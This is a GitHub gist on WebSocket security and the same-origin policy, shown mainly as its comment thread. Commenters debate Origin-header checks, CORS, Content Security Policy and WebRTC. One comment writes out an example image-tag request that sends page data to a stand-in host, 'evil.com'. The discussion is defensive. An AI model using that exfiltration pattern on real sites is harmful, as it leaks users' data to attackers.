Skip to content

Instantly share code, notes, and snippets.

@subudeepak
Last active December 4, 2024 13:36
Show Gist options
  • Save subudeepak/9897212 to your computer and use it in GitHub Desktop.
Save subudeepak/9897212 to your computer and use it in GitHub Desktop.
The problems and some security implications of websockets - Cross-site WebSockets Scripting (XSWS)

WebSockets - An Introduction

WebSockets is a modern HTML5 standard which makes communication between client and server a lot more simpler

@avicoder
Copy link

Thanks For the Excellent Information !

@moronkreacionz
Copy link

Glad I found this write up. Great information.

@tublitzed
Copy link

Thank you, this is really helpful.

@mschipperheyn
Copy link

You might want to address phone app communication. There same origin is impossible.

@simonmiller99
Copy link

very informative, thanks for taking the time.

@bminer
Copy link

bminer commented Nov 10, 2016

Checking the Origin header is another alternative. All browsers send this header when a WebSocket connection is being established. The server can deny requests from untrusted origins.

@AlexNodex
Copy link

@bminer : Any header can be spoofed/faked, it would not take long for an attacker to work out the server whitelist and spoof the Origin header to match it

@subudeepak
Copy link
Author

subudeepak commented May 19, 2017

@bminer @mschipperheyn The Origin header can be used (in a purely browser context with HSTS and HPKP enabled, appropriate cookie protection mechanisms in place or in a phone app with HSTS and proper key pinning enabled) to ensure security of the legitimate server with regard to a web-socket connection. It can otherwise be spoofed as explained by @AlexNodex.
@AlexNodex: Thanks !

However, if there is a malicious JS on the page (for example due to XSS or downloading a bad copy of a library and using it without even performing a simple checksum). The lack of enforcement of the SOP allows this script to establish a websocket connection with a remote malicious server. (Note: an XSS script cannot by default create an XHR request to other origins)

@simonmiller99 @tublitzed @moronkreacionz @Vjex Glad it was useful ! :)

@thw0rted
Copy link

Could somebody show a proof of concept where server-side checking of the Origin header is insufficient? The difference between XHR and WS is that XHR allows manipulation of request headers from JS, while (as far as I can find) WS does not. Of course, you could make an XHR request to a WS endpoint but I don't think you could fake the upgrade-request handling in JS -- that has to be handled by the browser. So, I don't think it's actually possible to exploit WS (from a server that checks Origin) just by injecting malicious JS... but would love to be proved wrong.

@subudeepak
Copy link
Author

subudeepak commented Sep 4, 2017

@thw0rted
Server-side checking of the Origin protects the Server in addition to other security protections is good.

Otherwise

  1. Malicious Extensions on a browser
  2. Proxies on the network
  3. Or in extreme cases, scripts (JS/Extensions) sending cookie and other session information to a malicious third-party server

can result in packets with whatever Origin header being generated as mentioned by @AlexNodex

Please ping me on "subudeepak" /at/ gmail / outlook if you want faster replies :) Github never sends me notifications if someone posts things here.

@alekseyl
Copy link

alekseyl commented Dec 18, 2017

  1. Malicious Extensions on a browser

You are meaning in case they couldn't access session info directly, they could combine Origin header change with cross site forgery?

  1. Or in extreme cases, scripts (JS/Extensions) sending cookie and other session information to a malicious third-party server

Didn't get this part either, if you are talking about XSS and JS injection, this is not the Origin header verification concern.

@bhh1988
Copy link

bhh1988 commented May 16, 2018

I'm confused. If malicious scripts are running in your browser, those scripts can make XHRs to the malicious server already. I don't think SOP prevents that. The malicious server could just be set up to Access-Control-Allow-Origin: * so that it accepts requests from arbitrary origins. My understanding is that what CORS prevents is a malicious script from accessing or tampering with data on a GOOD site. See https://stackoverflow.com/a/4850752/798955

@pedro-nonfree
Copy link

@mschipperheyn you can use WebRTC for that

( @subudeepak ) and I'm curious about using WebRTC Data Channels instead of Websockets. Probably are "more secure".

@jaamison
Copy link

jaamison commented Apr 1, 2019

@subudeepak I see some serious problems with this analysis.

Your observation that websockets can be used as a tool by malicious code that may be injected into a 3rd party library hosted on a CDN, while correct, ignores this much larger fact:

If a 3rd party script referenced by your page contains any malicious code at all, you have already lost the war. At that point, you must assume that the entire session is compromised.

As the old adage goes:
If a hacker ever gains root access, he owns that machine forever.

A modern day web twist on the classic could be:
If a hacker is able to get his code to run on your page, he owns that session forever.

Claiming that websockets are dangerous because they provide a tool to actors who have already executed code in your context is like saying that it's a bad to arrange your living room furniture in a sparse, open layout because it provides an easier, less obstructed path for burglars to carry your heavy valuables out the door.

If someone's broken into your house, you don't ever want to rely on the fact that your couch inconveniently flanks the hallway. Likewise, someone who is in a position to be able to initiate an outgoing websocket connection to a foreign remote server has already won. If they are successfully blocked from opening a cross origin socket, then they can just fall back to inserting a script tag into the DOM, or at the very least pulling off a cute little '<img src="evil.com?' + YOUR_DATA + '">'

@bhh1988 brings up this point, and is correct in pointing out that the SOP protects "GOOD sites", not sites that have already been compromised in some way (those sites are screwed no matter what).

If you're running a production system and security is important to you, then don't hot link directly to 3rd party scripts hosted on a CDN.

You are clearly a smart guy, and you seem to acknowledge all of this:

Of course, these could have happened even without WebSockets ...

...but then you advocate a form of security through obscurity:

... but WebSockets reduces the complexity to do this.

This allows unlimited possibilities and the attacker can keep using the client in so many ways by posting one payload after another.

so... kind of like sending XHRs one after another?

Furthermore, don't put your fate in the hands of strange browser on the other side of the world. Just because you ask the browser to pretty-please respect your Content-Security-Policy doesn't necessarily mean it will. Hopefully it does, but there are always black swans.

What if google ships a botched chrome update (unlikely, but it wouldn't totally shock me) that skips those checks under a strange combination of circumstances?

What if your traffic goes through a (reverse) proxy or cache that inadvertently strips certain HTTP headers?

What if your devops guy slips up while configuring nginx?

Origin headers have their own set of edge cases and implementation inconsistencies. There are a million of these potential "unknown unknowns", and putting all your trust in the end user's browser to be your savior is never the answer.

At the end of the day, websockets are an extremely clever and innovative way of making it significantly easier to do things that were already possible before - easier for frontend developers, easier for backend developers, easier for sysadmins and infrastructure admins.... and, yes, easier for hackers who already own your site regardless. I suppose this all boils down to the philosophical question: does making things inconvenient for attackers constitute security?

@subudeepak
Copy link
Author

subudeepak commented Jun 7, 2019

I have replied to some people who have reached out to me by email. Apologies to anyone asking queries here for extremely delayed responses.

@pedro-nonfree I will write a more detailed reply to you on that.

@jaamison please do not misunderstand my claims. I do not imply that the streams of the websockets are insecure or some thing obscure like that. I imply that selectively applying the same origin policy is a bad choice. Websockets suffer because a selective panel decided that the same origin policy did not apply for websockets when agreeing that it applied to XHR. Either SOP makes sense for both or none. I claim it should and must be controlled by similar mechanisms as cors that apply to XHR.

If you state that any bad script existing in your page or browser means none of your other controls are a necessity, I wonder if you do a complete static analysis of every third party library you use.

I merely advise you to disable cross origin access for websockets using the content security policy since I consider this should have been the default and never in my whole analysis suggested you to avoid websockets.

@subudeepak
Copy link
Author

@pedro-nonfree As far as I can see webrtc data streams have a lot of security features that can be enforced. It is quite a robust protocol built on very sound principles. This protocol is quite similar to a traditional phone line. So understanding the limitations is important. First is authentication. While the protocol supports authentication, this is often times not enforced properly since many parts of these are optional to begin with. Second is the security of the data-streams. Data-streams are supposed to be very secure as far as the encryption protocols are concerned. Implementations may however have something like an intermediary server that acts like an end-node to both parties (rather than acting as a forwarding node) and this may cause the privacy offered by the data-stream to very reliant on the implementation. Third is the call-forward. Just like a phone call, a stream in webrtc is requires a party to act as a forwarder and this can be tricky. I had worked with people in KU leuven and published at more about these things a few years ago. Please find them at https://lirias.kuleuven.be/retrieve/387249

@jota12x
Copy link

jota12x commented Feb 7, 2020

Amazing article. Thanks !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment